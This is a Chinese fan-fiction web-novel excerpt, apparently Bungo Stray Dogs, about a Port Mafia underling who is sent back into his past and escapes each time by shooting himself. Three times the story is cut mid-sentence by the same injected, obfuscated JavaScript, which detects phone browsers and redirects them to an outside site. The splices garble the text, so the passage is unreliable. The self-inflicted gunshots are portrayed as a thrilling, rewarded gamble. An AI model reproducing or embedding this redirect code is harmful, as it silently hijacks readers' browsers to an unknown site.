“难道我天赋异禀,被炸弹袭击了还能爬上岸?”他怀疑地看了一眼自己的手臂,本应被火药炸得溃烂的皮肤现在竟然完好无损,只剩下几道因弹片飞溅而刮出的细小伤疤。 脑袋,又晕又疼。 好像忘记了什么很重要的事。不知为何,佐藤阳翔从水里爬上来以后,总觉得眼前的一切都变得很古怪:芥川龙之介那张眼熟的脸、被炸得稀巴烂的小船、被绑架的闳野次一郎...一切都好像发生在曾经做过的梦中,到处都充斥着既视感。 怎么感觉自己在很久以前就已经经历过一遍这种场景了? 他摩挲着下巴:“还有,我刚刚在水里的时候是不是幻听了...” “......” 芥川龙之介已经不打算继续和面前这个神神叨叨的家伙接触了——他本来是只是到附近执行任务,恰好被这道巨大的爆炸声吸引了注意力,一走近就发现一名穿着港口mafia标志性黑西装的少年飘在水里。 现在想想,刚才的自己肯定是疯了,居然会鬼使神差地使用【罗生门】把这家伙从水里捞起来。 就在这时,姗姗来迟的组长才大呼小叫地从远处跑过来:“喂佐藤!你没事吧?这里发生爆炸了吗?你找到任务对象了没有?” 佐藤阳翔环顾四周,看见了被芥川龙之介一起从水里捞出来的尸体——被炸得缺胳膊少腿的,已经几乎看不出人型,难得芥川龙之介能忍着恶心把这家伙也带上来。 “糟糕了...” 港口mafia对待叛徒有一套非常精确的流程,从破坏颌面到胸口连开三枪,如果就这么简单地把尸体带回去,反而没法向上头交代——而且被闳野次一郎卷走的大部分存款都不翼而飞,偏偏这家伙死得还非常突然,自己也不知道那些钱究竟被谁带走了,和制造爆炸事件的家伙是不是同一个人。 佐藤阳翔作为一介普普通通的底层职员,率先想到的就是先找一个目击证人问清情况,如果可以的话就利用威逼利诱让他给自己作证——不过,等他反应过来的时候,芥川龙之介不知什么时候已经消失了。 “喂佐藤,你有没有听我说话啊?左顾右盼的在找谁呢?” 组长刚出声,就被对面的少年一把勾住了脖子,佐藤阳翔语气诚恳地道:“没有找到装钱的皮包,这才是最麻烦的,所以我现在要在周围找找线索,搜证跑腿的活就交给我,现场的尸体就拜托组长您带回去吧。” 组长一听就炸了:“你开什么玩笑?!没完成任务就回去的话...” “哎哟,您先别着急。”佐藤阳翔虽然现在还没成年,但多年在社会摸爬滚打的经历,已经让他把忽悠这门语言艺术运用得非常熟稔了,“炸弹爆炸了,我这个正好在现场的倒霉蛋伤得非常严重——可是您作为【清洁小组】的组长却不在现场,钱也没发现,挑衅港口mafia的炸弹犯也没抓到,这样传出去不太好听吧。” “...你说得好像也不是没有道理...但是你伤得不重啊...” 佐藤阳翔装模作样地咳了两声,然后对准还傻愣愣处在局面之外的组长比了个手枪的动作——组长再蠢也该意识到,港口mafia的怒火不是他们这种小喽啰可以承受的,任务失败就一定会有惩罚,只有发现的线索越多,他们才有挽回局面的机会。 佐藤阳翔就这么轻飘飘地说服了组长,自己一个人前往装着货物的码头。这里四处都是林立的集装箱,佐藤阳翔越是深入,工人的吆喝声就越来越遥远,只有沉重的咳嗽声顺着海风传来。 ...等等,咳嗽声? 佐藤阳翔绕过一个路口,脚步瞬间顿住。 那个咳嗽的少年居然就是芥川龙之介。他现在正单膝跪地,一手撑在地面上,一手捂住不断发出咳嗽声的嘴唇,激烈而痛苦地喘息着。在他的面前,还站着一名年纪约莫比他年长几岁的少年,从佐藤阳翔这个角度看过去,只能看见他披着的宽大西装外套,以及微卷的黑棕短发。 在他们两侧,站着两排手持冲锋枪的西装壮汉。 佐藤阳翔马上就反应过来,自己好像撞破了什么不得了的场面。 “...看来现场还有别的观众呢。”少年好听的声音轻柔得让人觉得毛骨悚然,他微微侧过鸢色的眼睛,露出脸上和脖颈上缠着的白色绷带。 此时,佐藤阳翔的面前已然排列着一片黑洞洞的,散发着硝烟气息的枪口。 他立即举起双手,干巴巴地扯了扯嘴角:“...不好意思,我来得好像不是时候?” “不,你来得刚刚好。”绷带少年歪过头,“是没见过的新面孔呢。” 佐藤阳翔再傻也能从现场的阵仗中看出对方身份的不一般——如此大的排场,这家伙恐怕放在整个港口mafia也是不简单的存在。他立即就交代了自己的身份:“...我是港口mafia【清洁小组】的职员,名字是佐藤阳翔。” 这时,绷带少年已经来到了佐藤阳翔面前,居高临下地睥睨了他一眼,淡漠的眼神似乎只是在看一只会说人话的蝼蚁。 他的身量并不比佐藤阳翔高出多少,但那只让人一看就无法遗忘的鸢色眼睛,却好像已经看穿了对面的灵魂。几乎是一瞬间的功夫,佐藤阳翔就和刚刚想起芥川龙之介的名字那样,在脑海里浮现了一个古怪的、并且从未见过的名字,还感受到了一种有点让人讨厌的本能感觉。 ——太宰治。 直觉告诉佐藤阳翔,对面的绷带少年应该叫这个名字。 芥川龙之介没有想到,突然窜出的家伙居然就是自己刚从水里捞上来的那名少年——对方傻乎乎自报家门的样子实在蠢得离谱,身为港口mafia的一员,居然对新上任的年轻干部太宰治一无所知,愚昧得可笑,似乎完全不知道自己面对的是什么样的大人物。 “佐藤君,来这里是有什么事吗?” 如果气氛允许的话,佐藤阳翔其实更想说自己只是路过的——但估计自己只要一撒谎,就会被这些枪射成筛子,他只好坦白:“其实我是来找这位芥川君的。” 太宰治微微挑眉,示意佐藤阳翔继续说下去。 “是这样的,我们正在执行任务。就在这个时候,我突然接到了一通莫名其妙的电话,然后现场就爆炸了——醒来以后我只看见了芥川君,不过情况紧急,我还没来得及多问芥川君几句,就找不到他了。” 太宰治意味深长地道:“原来是这样啊。” 他说着,将目光转回刚站起来的芥川龙之介,语气却格外冰冷:“原本还以为你已经无能到了连一介炸弹犯都抓不到的地步,还好佐藤君带来了意料之外的消息呢。” 芥川龙之介低下头,攥紧拳头,眼中掠过了一丝不甘。 听这句话的意思,太宰治他们似乎也在寻找那名炸弹犯——甚至芥川龙之介的任务可能就是抓到那名犯人。 “既然任务已经失败了,就先回去吧。”太宰治随意扯了一下自己身上披着的西装外套,不再去看芥川龙之介的狼狈模样,语气中带着不容反驳的气势,“佐藤君也过来,我需要你的信息。” 58 佐藤阳翔今天下班得不太顺畅。 回到港口mafia大楼后,没看见他带回钱款和线索的组长仿佛天塌了,要不是看佐藤阳翔跟在太宰治的身边,他非得把这家伙扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946647|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进护城河里喂鱼不可;而另一边,太宰治在听完佐藤阳翔的供述后沉思片刻,丢下他俩单独去面见了首领。 直到现在,已经超过了下班时间整整十三分零二十八秒! 这对不加薪的打工人来说简直是一种煎熬! 更煎熬的是,在无法准点下班的时候,自己的身边还站着一名移动冷库——芥川龙之介在被太宰治骂“无能”后,表情就一直很难看。佐藤阳翔原以为他还因刚刚被太宰治当着外人的面教训而怀恨在心,还想着该如何扯点话题来安慰一下自己的救命恩人,却反而被他狠狠瞪了一眼。 “都是你的错。”芥川龙之介咬牙切齿地回忆着刚刚的场景,“如果不是你,太宰先生就不会对我感到如此失望...在下真应该直接让你被淹死。” 佐藤阳翔:“......” 好恐怖,自己以前居然会对这家伙产生感激之情...他就应该让芥川龙之介被太宰治揍得惨一点再出现。 半小时后,太宰治便带回了一则消息——首领判断炸弹犯与港口mafia职员的关系匪浅,甚至很可能与社内近期越来越多人卷款叛逃组织有关。 “...所以其实是黑吃黑?”佐藤阳翔问,“最近在横滨市内横行的炸弹恐怖组织,在引诱组织内部叛徒卷款出逃后,过河拆桥地把叛徒都炸死了?” “唔,结合目前的情报来看确实如此。” “哦。”佐藤阳翔发出了一个干瘪的音节,他的下班之魂正在催促自己远离这个烂摊子,直觉告诉他接下来太宰治的嘴里可能会吐出自己不太想听的东西,“...那我现在可以下班了吗?” “哎呀,真遗憾,暂时还不能。”太宰治一眼就看穿了佐藤阳翔想要逃跑的内心,“这件事非同小可,你们两个作为本次任务的失败者,应该很清楚接下来要怎么做才能弥补这次的过失吧?” ...有一种不好的预感。 “这次的任务就交给你们两个,找出那个组织和丢失的钱款。”单听太宰治轻飘飘的语气,仿佛像是在说晚餐就交给你们两个来做似的,“如果完不成任务的话,你们的下场应该会很惨吧。” 听到未来要和芥川龙之介合作的佐藤阳翔一下子坐不住了:“...这不对吧?我只是小职员,难道不应该由组长来担责吗?如果是要合作的话,也应该让其他人...” 【清洁小组】本来就因为处理叛徒的事而死伤不少人,在这种情况下还主动站出来的出头鸟,应该就是传说中不要命的傻瓜吧? “闭嘴。” 不等他继续拒绝,就被芥川龙之介一把按住头,他毕恭毕敬地向太宰治举了一躬:“...是,太宰先生。” 佐藤阳翔只能眼睁睁地看着太宰治消失在面前,等后脑勺的压力一消失,他这才有些恼怒地挥开了芥川龙之介的手臂:“...你脑袋是不是被太宰治打坏了?!你愿意被你上司PUA就算了,拉上我干什么?” “闭嘴,胆敢对太宰先生出言不逊的家伙!” 衬衫的衣领被一把拽过,佐藤阳翔这才发现芥川龙之介的眼眸中汹涌着的是何等澎湃的杀意——芥川龙之介现在的心情很差,即使他也不愿意和这个没有异能的混子一起搭档,但既然这是太宰治的吩咐,他就会完美地执行。 【罗生门】从他的外套中钻出,这时就已经初步显露出“黑色祸犬”之姿的少年,声音低沉且充斥着暴戾:“听好了,如果你敢妨碍在下,在下会立即取走你的性命。” 随着他的话音落下,一根黑色的棘刺瞬间从地面钻出,划破了佐藤阳翔的小臂,只留下一道正在流血的伤口。 他是认真的。 芥川龙之介现在的所有生存意义都由太宰治赋予,他绝不允许任何人违逆太宰先生的意志——更遑论眼前这名普普通通的小职员。 31.第三十一章 59 餐馆亮起明亮的黄色灯光,在凉风呼呼的夜晚显得格外温暖。半个小时前,佐藤阳翔给织田作之助打了电话,要求他帮忙点一份咖喱猪排饭;一小时后,这名无偿加班的少年才迈着虚浮的步伐走进了小店。 “抱歉啊,我今天来晚了。” 他脱下还没有完全干透的西装外套,把过长的黑色刘海全都捋了上去。在店里帮忙的老板女儿一看见他混身湿哒哒的样子,立即大呼小叫地让爸爸拿干毛巾回来,还给他送上了一杯特意用蜂蜜调过的热乌龙茶。 她惊讶地问:“阳翔,你没事吧?今天没有下雨呀,你怎么会被淋成这样?” “不知道该从哪一部分先说起,反正这样也没什么,能捡回一条命都算不错了。”佐藤阳翔拉开椅子,坐在了已经快要吃完晚饭的织田作之助身边,充满怨气地抱怨道,“啊...好想跳槽...不想干了...今天还遇到了两个脑子有毛病的家伙,未来的工作生活肯定会变得一团糟...” 织田作之助面不改色吃着辣咖喱:“是吗?你要准备辞职?” “...为了养活自己,我还是再忍忍吧。”佐藤阳翔看着刚端上桌还热腾腾的咖喱猪排饭,向店老板女儿露出了一个感激的微笑,“今天执行任务的时候遇到炸弹了,我还以为这次必死无疑了呢——结果还是被一个讨厌的家伙救起来了,接下来还要和他一起寻找炸弹犯。” 他长长地叹了一口气:“我的未来一片灰暗啊。” “就这么直接地和我透露工作任务,没关系吗?”织田作之助刚好在这时候吃完晚饭,他放下手中的勺子,又向店长点了几份夜宵,并要求将其打包成五份。 佐藤阳翔叉起一块猪排,奇怪地问:“嗯?我以为你会想听我的任务内容。再说了,又没签保密协议,为什么不让说啊?” “...我一点也不想听。”织田作之助拒绝。 这种话题多说多错,如果涉及到什么机密就麻烦了——一般港口mafia职员都会避讳在外提及自己的工作内容,毕竟他们的工作可不太光彩。织田作之助接触过的所有底层职员中,只有佐藤阳翔这家伙口无遮拦,像是完全不把工作任务当成一回事。 上次他们在另一家餐馆吃拉面,佐藤阳翔正好提及了那天逃走的猎杀对象,结果命运非常恰巧地把那个人安排成了餐馆的临时服务员——并且就站在离他们三步之遥的地方。 结局可想而知,如果不是织田作之助的异能【天衣无缝】感知到了即将要发生的危险,恐怕那天就会血溅餐馆。 “好吧,真让人伤心。”佐藤阳翔看了一眼他手中拎得满满当当的餐盒,“织田作先生今天也要给家人打包宵夜回去啊?” 织田作之助简单地“嗯”了一声。 “那就再见吧。”佐藤阳翔知趣地没有选择追问,“下次有空再一起吃咖喱啊!” 60 吃过晚饭,佐藤阳翔就慢悠悠地穿过街道,回到了自己的出租屋。港口mafia的工作虽然充斥着危险与血腥,但不得不说,在薪资这一方面确实还挺让他满意的——即使现在的佐藤阳翔只是一名最普通不过的底层职员,也能很轻松地存下钱来租一间这么大的房子。 出租屋的地段很不错,既离公交站很近,这条街平时也没多少人路过,一到晚上就很安静,清晨推开窗就能看见被阳光洒满的街道。 他拧开门把手,在踏入房间后表情却变得凝重起来。佐藤阳翔抬手按住太阳穴,闭上眼有些烦躁地说:“XX的(横滨脏话),真是【吵死了】...这东西到底要响到什么时候...” 谁都想不到,他的脑袋里,正在循环播放一道机械的声音。 如果佐藤阳翔没记错的话,这道声音正是他当时在水里差点溺死时听见的声音。在太宰治布下任务以后,这道声音就开始若有若无地在他脑海里响起,声音不大不小,正好卡在佐藤阳翔觉得烦燥的分贝。 ——“听好了,如果你敢妨碍在下,在下会立即取走你的性命。” 在芥川龙之介用【罗生门】胁迫过佐藤阳翔后,他便打算自行离开,佐藤阳翔却突然莫名其妙地扯住了他的袖子:“...你先等等,你有没有听见什么奇怪的声音?” 芥川龙之介向他投去了一个看待蠢货的表情:“...你的耳朵如果被水灌坏了,那就趁早割掉吧。” ——看来是只有佐藤阳翔自己听见了。 这道机械的声音一直维持到了现在。奇怪的是,在佐藤阳翔出声抱怨过后,这道莫名其妙的声音终于暂停,再次开口时,将刚刚一直循环的那句“请宿主尽早接收任务”,换成了:“检测到关键词【吵死了】,系统已确认宿主收到,接下来将为宿主展开任务具体内容...” 接着,一道悬浮的金色光幕就凭空展现在了佐藤阳翔眼前。 “等...等等等等!”佐藤阳翔只觉得眼前的一切好像都超出自己认知水平了,“这都是什么东西?!系统是什么?任务又是什么?” 自称【系统】的机械音却没有回答佐藤阳翔的问题,而是平直呆板地再三催促道:“请宿主尽快查看任务内容,并在规定时间内完成任务。” 佐藤阳翔无法,只能低头扫了一眼光幕上的内容,发现居然与自己即将要做的事重合了。 【任务内容:请宿主成为炸弹恐怖组织在港口mafia的内部接头人。】 “...哈?” 太宰治要求佐藤阳翔和芥川龙之介一起毁灭炸弹恐怖组织的老巢;【系统】却要求他成为叛徒,担任炸弹恐怖组织在港口mafia的内部接头人。 系统再次催促道:“请宿主尽快接收任务。若宿主无法满足任务,系统将自动扣取积分,开启惩罚模式。” “...你到底是个什么东西?”佐藤阳翔抿紧嘴唇,直觉告诉他,眼前的这一切都不是幻觉——而那个【系统】口中的“惩罚模式”恐怕也不是什么过家家式的威胁。 系统沉默片刻,终于缓声道:“本机为【路人卧底1.0系统】,您是第十二代宿主【佐藤阳翔】,您的任务是穿越于各个世界,完成本该发生的事...” ...路人?卧底? 就在这一刻,佐藤阳翔的脑袋突然像是被什么东西“嗡”地砸了一下,系统完全由AI机械组成的声音也距离他越来越远,熟悉且难以言语的恶心感开始让他的脑袋变得晕乎乎的,就像有什么人正拿着一根用火烧过的木棍大力搅动他的大脑,眼前的一切都开始变成了虚幻的重影。 ——“可恶,叛徒,快点醒过来!” 晕眩中,有什么人正在呼唤他的名字。 声音与自己像是隔着遥远的云端,又像是从另一个世界发出的呐喊。 系统却如同卡机了一般,仍不断重复着刚刚的话:“请宿主尽快接收任务。若宿主无法满足任务,系统将自动扣取积分,开启惩罚模式。” “请宿主尽快接收任务。若宿主无法满足任务,系统将自动扣取积分,开启惩罚模式。” “请宿主尽快接收任务。若宿主无法满足任务,系统将自动扣取积分,开启惩罚模式。” ...... 在头痛欲裂的边缘,佐藤阳翔的大脑却反而变得前所未有的清晰起来:系统任务——港口mafia——必死的卧底任务——东方仗助口中自己得过的【失忆症】——芥川龙之介——蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951736|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色传送口。 对,蓝色传送口! 他今天和东方仗助他们一起去了元町商业街刚开的游戏厅,然后就被半路杀出的芥川龙之介带走,并且在车上被注射了肌肉麻醉剂。 在车行至半路上的时候,他们遇到了蓝色传送口。樋口一叶原本想要绕路离开,但佐藤阳翔抓住了这个千载难逢的机会——在加入武装侦探社后,他原本不稳定的异能却奇迹般地稳定了下来,所以佐藤阳翔在那一瞬间拼尽全力,使用异能把整辆车都送进了那个传送口里。 现在的自己,不应该是挣扎在港口mafia底层的少年,而应该是武装侦探社的一员。 佐藤阳翔在这一瞬间就想明白了,他刚刚经历的一切都是自己的过去——但与他记忆里的“过去”有所不同的是,又出现了【系统】这么一个与他记忆相违背的存在。 他今天所经历的一切,和他记忆里的过去,究竟谁才是真实存在的那个? 佐藤阳翔无法判断。 但只有一点,他很清楚——那就是自己必须离开。 在进入蓝色传送口后,一定发生了什么变故,导致自己又回到了过去。 他深吸一口气,胸腔传来针扎一般的疼痛。佐藤阳翔这时候的生理反应已经大到无法正常站立,甚至连呼吸也逐渐变得困难。他的思绪还在不断地蔓延,最终只剩下“离开这里”这个强烈的念头。 离开?究竟要怎么离开? 他靠着门板瘫坐下来,吃力地将手伸向了挂在后腰的枪袋。 这要是赌错了,自己可就死定了。 佐藤阳翔自嘲地扯了扯嘴角,在拉下手木仓的套筒后,他闭上眼睛,颤抖着抬起手臂,将枪口对准了自己的太阳穴。 生命犹如千钧之重。 但这带给了佐藤阳翔一种前所未有的兴奋,就像是all in赌上所有身家性命的赌徒,在牌面即将翻开的那一刹那,大脑神经所产生的,可以掩盖一切痛苦的那种期待与兴奋。 “砰——!” 下一刻,炽热的鲜血便喷溅在了门板上。极度的疼痛就只维持了一瞬,黑暗便席卷而来,带走了一切的迷茫、混乱,和痛苦。像是行走在沙漠里的旅人终于找到安歇的地方,又像是贫瘠的土地突然被灌入了泉水。 下一刻,佐藤阳翔突然看见了一双漆黑的眼睛。 省略了眼皮睁开,光线透入的部分,而是直接地看见了一双漆黑的眼睛。这双眼睛的主人,佐藤阳翔再熟悉不过了——正是不久前才把他从水里捞出来,为了太宰治的一句吩咐,就用【罗生门】威胁他就范,要与佐藤阳翔一起寻找炸弹恐怖组织的芥川龙之介。 “你在犯什么傻?”芥川龙之介皱眉,语气虽然依旧生硬,但那双眼睛已经没有过去那么空洞无物。 佐藤阳翔下意识地抬起手,触碰到了青年被低头时的阴影所覆盖的脸。是凉的,有触感的,说明现在的一切都不是梦——这也证明他赌对了,在【过去】中自杀以后,他又回到了现实。 他不可抑制地笑起来。 并且这笑声越来越大,整个人活像发了什么癔症。 按理说,芥川龙之介这时候应该觉得莫名其妙,应该拍开他的手,然后狠狠把这个神经病摔在地上,但他并没有这么做。 在这一瞬间,他好像看见了佐藤阳翔从前的影子——那个疯癫的,会拿自己性命随意作赌的少年mafia。 芥川龙之介鬼使神差地问:“你醒了?” 佐藤阳翔将头埋入他的颈窝,用力拥住了眼前的青年,力气大得惊人,好像正在拥抱一个全新的世界。他再次闭上了眼睛,轻声说:“...是啊,我总算是回来了,龙之介。” 32.第三十二章 61 眼下的情况其实并不算好。佐藤阳翔靠着自杀从【过去】返回后,那种眼睁睁看着生命力一点点流逝的感觉还犹在眼前。他下意识摸了一下自己的太阳穴——那里完好无损,既没有弹孔也没有疤痕。 好像做了一场漫长的梦。 佐藤阳翔环顾四周,发现他们正待在一个纯白的空壳里。他的手指触碰到背后的墙壁,发现触感居然是温暖的;他深吸一口气试图站起,遗憾的是,身体还暂时没什么力气,应该是之前被注射了肌肉麻醉剂的缘故。 佐藤阳翔只好向自己的前同事请求支援:“...不好意思,你能过来拉我一把吗。” 他的本意是想借着芥川龙之介的拉力站起来,但芥川龙之介那带着死亡与灾祸气息的杀戮异能【罗生门】直接发动了,外套伸出足矣割断一切猎物咽喉的布条,把佐藤阳翔拦腰捆起,和拎小鸡仔似的把他拽到了自己的面前。 “......” 这发展不太对。 佐藤阳翔只能跟他大眼瞪小眼:“...呃,虽然能让我站起来很感谢就是了,不过我其实自己可以扶着墙走。” “还是说你其实只是想抱我?” 面对如此暴言,芥川龙之介瞬间就和被火燎到了一般缩回了手。不仅如此,他还一下子退开了好几步,恨不得现在就有一道三八线把自己和佐藤阳翔隔开。 “开什么玩笑!”芥川龙之介恼怒地扭过头,“别太得意忘形了,叛徒,你现在只不过是一介人质。” 其实这句话还挺唬人的...如果他的耳朵不红的话。 芥川龙之介的表情看起来更加恼怒了——因为佐藤阳翔把自己的心理活动一(非)不(常)小(坦)心(然)地说了出来。 啊,耳朵好像更红了。 佐藤阳翔这下总算知道了,芥川龙之介并不是真的想杀他,他更像是那种喜怒无常的别扭垂耳兔,还是上一秒肯过来给你抱抱,下一秒就要蹬地飞起给你一脚的那种类型——俗称完美符合动物塑的性格本能。 佐藤阳翔觉得逗他好玩,于是开始坏心眼地对他穷追不舍:“而且,我在醒来前,好像还听见了你呼唤我的声音——龙之介,难道你很关心我...唔唔唔!” 佐藤阳翔的声音戛然而止,因为他的嘴被柔软布条形态的【罗生门】缠了起来。 芥川龙之介无视了他的挣扎,伸出手触碰了一下纯白的“墙壁”,显然也感受到了他们所处空间的不寻常。 ——他们现在待的空间看起来很像是一枚蚕茧。 佐藤阳翔费劲地扒拉了好久,才从【罗生门】的缠绕中探出头来:“好了,说说正事吧。如果我的身体一直在这里的话,那我应该是梦到了和你初遇的那一天——不过这天的经历和我的记忆有很大出入,一切感官都是真实的:疼痛、窒息、死亡...反正不太美好。” “你呢,你有没有梦见什么东西?” 芥川龙之介闻言,却抿紧了嘴唇。 他只比佐藤阳翔早醒来了一会儿。同样的,他也梦到了自己的过去,那是一段非常不愉快的阴暗回忆——那时候的他还像条野犬般带着芥川银在街头流浪,被人像老鼠一般随意打骂、驱逐...但这样的过去,芥川龙之介是不会向佐藤阳翔开口的。 走神间,佐藤阳翔已经靠异能挣脱了【罗生门】的桎梏,由于身体虚弱,他不得不暂时扶着墙壁站立。不过单看芥川龙之介的表情,佐藤阳翔就大概猜到,他也应该没梦到什么好东西。 佐藤阳翔知趣地没有选择再继续追问,把视线重新投回了他们现在呆着的空间:“这里只有我们两个人,那你的下属去哪里了?” 他说的正是当时在开车的樋口一叶。 “而且按理说,传送口里应该存在着什么魔物才对。”他屈起食指,轻轻敲了敲温热的“墙壁”,发现它硬得远超自己的想象,“难道我们会梦到过去的事,都和这个空间有关?” “那直接把这里毁掉就行。”芥川龙之介环胸,随着话音落下,漆黑的【罗生门】化作棘刺,直截了当地刺入了墙壁之中——即使是面对金属墙面,他的异能也能够轻松地开出一道供人通过的小门。 但这一次,【罗生门】居然没能穿破这个空间,与墙面相撞后,只发出了一声锐利且让人极为生理不适的刮擦声:看似脆弱的墙壁居然在【罗生门】的攻击下完好无损。 “看来这不是光靠蛮力就能破开的东西啊。”佐藤阳翔思忖道,“不然试试靠我的【空间转换】?” 在一定范围内,佐藤阳翔的异能可以转移一个目标单位的空间位置——但这样做很危险,毕竟谁都不知道在外有什么东西等着他们,或许他们会掉入万丈深渊,又或许他们会被魔物抓个正着... 不过再怎么危险,也比留在这里等死来得好。 不管了,博一博单车变摩托! 于是,佐藤阳翔在芥川龙之介震惊的目光下坦然地张开了双臂,然后环住了他的身体。 62 闻到了洗衣液的清爽味道,还有因肺病而常年喝药留下的淡淡苦味。青年的身量并没有很高,佐藤阳翔可以轻松地将下巴放在他的肩膀上。手围住的身体偏瘦弱了一些,即便隔着黑色的外套,佐藤阳翔也能直接地感受到他突起的肩峰,看来是平常没怎么好好吃饭的类型。 “用你的【罗生门】缠住我。” 然而,芥川龙之介却一直迟迟没有动作。佐藤阳翔这才忍不住再次出声催促道:“你怎么还不动?” ...动? 芥川龙之介的大脑还没有转起来——这不能怪他,因为在佐藤阳翔再次主动抱住他的那一瞬间,他的大脑只剩下了一片空白。 这个拥抱和佐藤阳翔刚苏醒时的拥抱截然不同。这个拥抱太过突然,以至于芥川龙之介完全没有听见他后面的话,等到回过神来的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955233|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,自己已经慢半拍地抬起右手,搂住了他劲瘦的腰。 紧贴的心跳在两个胸腔同频地跳动。 ——然后就是一片长久的沉默。 等了半天都等不到【罗生门】覆盖自己的佐藤阳翔疑惑了:他的异能一次只能转移一个目标对象,如果不用【罗生门】覆盖住身体,那他就只能自己一个人面对外面的未知了——肌肉麻醉剂的药效还没有过去,佐藤阳翔是傻子才会冒这个险。 这不对吧。 芥川龙之介不会以为自己真的只是想抱他吧?! “...你在和我开玩笑吗?”佐藤阳翔叹息,“和前同事友爱拥抱什么的,还是等我们俩出去再说吧。” 芥川龙之介这才意识到自己做了一件什么样的蠢事,有些欲盖弥彰地咳嗽一声,【罗生门】这才紧紧地缠了上去,大概是想要当作什么都没发生过,所以异能发动得格外急切——差点把佐藤阳翔勒死。 但好说歹说,佐藤阳翔的异能发动以后,两个人倒是成功从纯白的空间里逃了出去。等到佐藤阳翔松开抱着芥川龙之介的手,抬头看着眼前的一切时,才发现他们现在待着的地方是何等的怪异。 他们站在一个高高的石崖上,眼前是巨大无比的茧,一切好像都被放大了无数倍——因为他们所处的“石崖”,相较于这个茧来说,也只不过是一个普普通通的小阶梯罢了。 而类似的“茧”,面前还有无数个。 令人难以想象,究竟是何等庞大的生物造出了这些茧。 “居然没有魔物的影子。”佐藤阳翔迟疑道,“能编织一个这么大的茧,这东西应该体积非常巨大才对。” 他们总不能把这些茧一个一个摸过去吧?那也太要命了! 就在佐藤阳翔打算和芥川龙之介商讨一下接下来的行动时,他们同时听见了一道奇怪的声音——这种声音,佐藤阳翔已经非常熟悉了——那是地面即将崩塌,土地即将崩裂的声音。 地面已经不是他们能继续呆着的地方了。 佐藤阳翔与芥川龙之介无言地对视一眼,从对方眼中都读到了警惕的意味。 随着巨大的轰鸣声越来越靠近,芥川龙之介没有犹豫,用【罗生门】再次覆盖了佐藤阳翔的身体。随着空间异能的淡蓝色光芒再次闪过,二人眼前一花——他们移动到了下一个靠近的白色茧中。 地面崩裂的声音果不其然地消失了。耳边只剩下当初在纯白空间里特有的一种寂静。 佐藤阳翔慢慢地睁开眼,下意识地想要拽住芥川龙之介的袖子,抬起手后却只摸到了一杆冰冷的手枪。 ...等一下,手枪? 他骇然地扭过头。 在他的背后,是一扇被飞溅的鲜血弄脏的屋门。 ——冰冷的手枪,掉落在身侧的子弹,飞溅得到处都是的鲜血,以及重新映入眼帘的金色光幕。 这一次,他又独自回到了过去。 33.第三十三章 63 佐藤阳翔动了动回温的手指。他的身体因为死而复生,迟钝地变得温暖了起来——这次复生的感觉和上回在神社里的感觉不太一样,如果非要用文字来形容的话,大概就是被泼一盆冷水醒过来,和在被窝里自然做梦醒来的区别。 不过,他现在很忙,没有空继续停留在自己的过去,虽然这个【过去】多出了一个名为【系统】的奇怪东西,但他并不打算继续探究下去。芥川龙之介现在应该就在自己的身边,他们一起通过空间异能传送到了白茧里,然后佐藤阳翔就陷入了过去的迷梦。 说明每进入一枚白茧,他的意识都会短暂地附身到过去的自己身上。 ——没错,这并不是虚假的幻境,而是意识附体。 佐藤阳翔试探了一下自己稳定的脉搏,然后用力掐了一下自己的大腿,果然是疼的——自己并不是在简单地“做梦”:虽然另一个世界的本体,可能确实尚处昏迷之中,但他现在所经历的一切,都并不是虚幻之事。 冰冷的手枪,强烈的血腥味,以及喷满血迹的门扉。 这些异常都与他的记忆巧妙地重合了——只不过多了一丝出入的地方。在佐藤阳翔的记忆里,出租屋的门扉上确实存在着洗不清的血迹,但成因与他无关,据说是上一名房客自杀后留下的痕迹。 现在想想还真奇怪...自己当时应该正处金钱自由的阶段,怎么会租一间死过人的房子呢? 佐藤阳翔疲惫地按了按自己的太阳穴,觉得不能再继续深想下去了——尽快回到现实与芥川龙之介汇合,想办法离开蓝色传送口,才是眼下最急迫的事。 于是,他咬咬牙再一次举起了那把枪——带着硝烟气息的枪口此时正对他的心脏。 然后又是砰地一声枪响。 64 各类仪器滴滴答答地响着,走廊上的脚步声来回响动,空气中弥漫着医院特有的消毒水气味。门被推开后,有人进来捣鼓着什么东西,同时伴随着一阵惋惜的窃窃私语:“这名病人年纪轻轻的,真可惜啊...” “怎么就想不开自杀了呢?要不是被人及时发现,估计现在已经死了吧…” “是啊,听说子弹离心脏只有几毫米,稍微偏移一下就惨了。” “唉...” 